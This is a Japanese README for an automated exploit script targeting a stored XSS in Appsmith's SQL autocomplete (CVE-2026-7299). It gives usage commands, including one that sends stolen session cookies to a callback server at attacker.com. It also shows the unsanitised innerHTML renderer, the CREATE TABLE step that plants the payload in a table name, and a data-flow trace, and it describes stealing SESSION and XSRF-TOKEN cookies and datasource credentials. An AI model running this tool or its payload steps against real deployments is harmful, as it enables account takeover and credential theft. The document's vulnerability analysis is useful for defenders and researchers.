
CVE-2026-7299の悪用の自動化 - Appsmith内のSQLオートコンプリートにおけるデータベーステーブル/カラム名を介したStored XSS =>1.99。初回発見 30/03/26
AppsmithのSQLクエリエディタにおける保存型クロスサイトスクリプティング脆弱性の自動エクスプロイトです。ワークスペースのDeveloperがデータベースのテーブル名を介して任意のJavaScriptを注入でき、他のワークスペースメンバーがSQLオートコンプリートをトリガーした際に、そのメンバーのブラウザで実行されます。
Appsmith v1.98で確認されており、カスタムSQLヒントレンダラーが存在するすべての過去バージョンに影響する可能性があります。脆弱性は hintHelpers.ts:165 にあり、CodeMirrorの安全なデフォルトヒントレンダリング(textContent)が、innerHTML を使用してデータベースのテーブル名やカラム名をサニタイズなしで表示するカスタム render コールバックで上書きされています。
基本的なアラートPoC:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!
コールバックサーバーへのCookie流出:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--callback-url http://attacker.com:8888
カスタムペイロード:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--custom-payload ''
PostgreSQLデータソースがまだ存在しない場合、スクリプトは自動的に接続を検出するか、資格情報を指定できます:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--db-host postgres --db-name testdb --db-user postgres --db-pass postgres

Appsmithは、チームがデータソースに接続してクエリを記述することで内部ツールを構築するオープンソースのローコードプラットフォームです。SQLクエリエディタは、接続されたデータベースのテーブルとカラムのメタデータから取得したオートコンプリート候補を提供します。
hintHelpers.ts のオートコンプリートレンダリングは、カスタムのCodeMirror render コールバックを使用します:
completion.render = (LiElement, _data, { className, text }) => {
const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
LiElement.setAttribute("hinttype", hintType);
LiElement.setAttribute("icontext", iconText);
LiElement.classList.add("cm-sql-hint");
LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
LiElement.innerHTML = text; // <-- サニタイズされていないテーブル/カラム名
};
CodeMirror 5 のデフォルトのヒントレンダリングは textContent(安全)を使用します。Appsmith はこれを innerHTML で上書きして、スタイリング用のカスタムCSSクラスとアイコン属性を追加しますが、実際のテキストコンテンツ(テーブル名)は生のHTMLとして割り当てられます。データベースカタログからDOMレンダリングまでの8ステップのデータフローのどの時点でもサニタイズは存在しません。
攻撃全体はAppsmithのWeb UIを通じて実行されます。
攻撃者(ワークスペースのDeveloper)は、XSSペイロードをテーブル名とした CREATE TABLE 文を実行します。AppsmithのPostgresPluginはDDLフィルタリングを一切行わず、statement.execute(query) はDDLを含む任意の有効なSQLを受け入れます。
CREATE TABLE "" (id serial primary key);
他のワークスペースメンバーが同じデータソースのSQLクエリエディタを開き、クエリの入力を開始します。データベースのメタデータから取得したテーブル名の候補を含むオートコンプリートドロップダウンが表示されます。悪意のあるテーブル名は innerHTML を介してレンダリングされ、被害者のブラウザセッションでJavaScriptペイロードが実行されます。
XSSは被害者のセッションを持つAppsmithアプリケーションコンテキストで実行されます。攻撃者はセッションCookie(XSRF-TOKEN、SESSION)を盗み、データソースの資格情報を流出させたり、被害者としてAPI呼び出しを行ったりできます。被害者が管理者である場合、攻撃者は完全なワークスペース制御に昇格します。
PostgreSQL pg_catalog (table_name, column_name)
-> PostgresPlugin.getStructure() [no sanitisation]
-> DatasourceStructure Java POJO [no sanitisation]
-> REST API /api/v1/datasources/{id}/structure [no sanitisation]
-> Redux state.entities.datasources [no sanitisation]
-> getAllDatasourceTableKeys selector [no sanitisation]
-> SqlHintHelper.setDatasourceTableKeys() [no sanitisation]
-> CodeMirror hint.sql() completions [no sanitisation]
-> LiElement.innerHTML = text [XSS]
サニタイズは存在せず、ペイロードがオートコンプリートレンダラーによって呼び出されると、innerHTMLにレンダリングされてDOM内で発火します。
app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165このツールは、許可されたセキュリティテストおよび教育目的のみで提供されます。自分が所有するシステム、またはテストする明示的な書面による許可があるシステムに対してのみ使用してください。このツールの誤用または損害について、私は一切の責任を負いません。
楽しいハッキングを!